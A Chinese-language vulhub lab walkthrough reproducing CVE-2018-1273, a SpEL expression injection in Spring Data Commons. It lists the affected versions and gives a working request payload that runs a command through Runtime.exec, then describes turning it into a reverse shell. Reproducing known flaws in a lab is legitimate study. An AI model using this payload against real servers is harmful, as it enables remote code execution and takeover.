漏洞描述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响版本
Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
已不支持的旧版本
环境搭建
1 | cd /vulhub/spring/CVE-2018-1273/ |
稍等一会,环境启动后,访问http://your-ip:8080/users
,将可以看到一个用户注册页面。
漏洞复现
填写信息,点击Register user
然后抓包
修改username
参数POC并发包:
1 | username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]= |
进入docker容器查看:
修改poc为反弹shell:
还是先base64编码,再url编码后发包:
反弹shell成功: